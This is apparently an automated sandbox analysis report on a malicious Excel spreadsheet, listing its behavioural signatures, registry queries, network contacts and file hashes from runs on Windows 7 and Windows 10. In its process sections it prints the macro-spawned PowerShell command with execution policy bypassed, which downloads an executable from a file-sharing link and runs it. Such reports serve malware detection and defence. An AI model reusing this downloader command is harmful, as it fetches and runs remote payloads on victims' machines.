Analysis Overview
SHA256
d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916
Threat Level: Known bad
The file d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Office macro that triggers on suspicious action
Command and Scripting Interpreter: PowerShell
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: AddClipboardFormatListener
Suspicious use of FindShellTrayWindow
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-05 21:17
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-05 21:17
Reported
2024-08-05 21:18
Platform
win7-20240729-en
Max time kernel
23s
Max time network
17s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
Network
Files
memory/2188-1-0x00000000720DD000-0x00000000720E8000-memory.dmp
memory/2188-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2188-3-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2188-4-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2188-2-0x0000000000450000-0x0000000000550000-memory.dmp
memory/2188-7-0x00000000720DD000-0x00000000720E8000-memory.dmp
memory/2188-8-0x0000000000450000-0x0000000000550000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-05 21:17
Reported
2024-08-05 21:18
Platform
win10v2004-20240802-en
Max time kernel
47s
Max time network
38s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1468 wrote to memory of 3288 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\cmd.exe |
| PID 1468 wrote to memory of 3288 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\cmd.exe |
| PID 3288 wrote to memory of 1640 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3288 wrote to memory of 1640 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | gofile.io | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| FR | 51.38.43.18:443 | gofile.io | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 18.43.38.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.179.89.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.58.20.217.in-addr.arpa | udp |
Files
memory/1468-0-0x00007FF923350000-0x00007FF923360000-memory.dmp
memory/1468-2-0x00007FF923350000-0x00007FF923360000-memory.dmp
memory/1468-1-0x00007FF923350000-0x00007FF923360000-memory.dmp
memory/1468-3-0x00007FF923350000-0x00007FF923360000-memory.dmp
memory/1468-4-0x00007FF923350000-0x00007FF923360000-memory.dmp
memory/1468-5-0x00007FF96336D000-0x00007FF96336E000-memory.dmp
memory/1468-9-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-10-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-8-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-11-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-12-0x00007FF920A20000-0x00007FF920A30000-memory.dmp
memory/1468-7-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-6-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-13-0x00007FF920A20000-0x00007FF920A30000-memory.dmp
memory/1468-14-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-16-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-15-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-19-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-18-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-17-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-29-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-28-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktrzfcmb.p3e.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1640-35-0x000001B4D24D0000-0x000001B4D24F2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\file.exe
| MD5 | 2c90c89565e8b97ff3357046451f6ad2 |
| SHA1 | a4d804006898694914846598e87d1da86c0ab2af |
| SHA256 | cca2b803b3a9607ca273bd358daa7679d028e4cee40030677b2ee9905222f9cd |
| SHA512 | 742e6a7c01710b6133f6dcafad5b6c6ef2c31799f37ab353631f07695fdd2542daf9fc6ba9798bc795825d1a4f976296c504d19d74602f2aac481d988d8a1bba |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 9b79475947992abfcfd21e99a5d9f097 |
| SHA1 | d001493ba7a746e736ff6454e3b29107682aa003 |
| SHA256 | 1bf45c407e549684f68c2cdd657ca668e6f2ad573ddab533a88ee424430308ff |
| SHA512 | 93378f342592fed558af716545df06ab85b6e96f6897eee350d5a201a4c8c402186af4f2b656288dbe83fea153de204258fa4b72201d94ad1c2f71019305cd7a |
memory/1468-59-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-60-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp
memory/1468-61-0x00007FF9632D0000-0x00007FF9634C5000-memory.dmp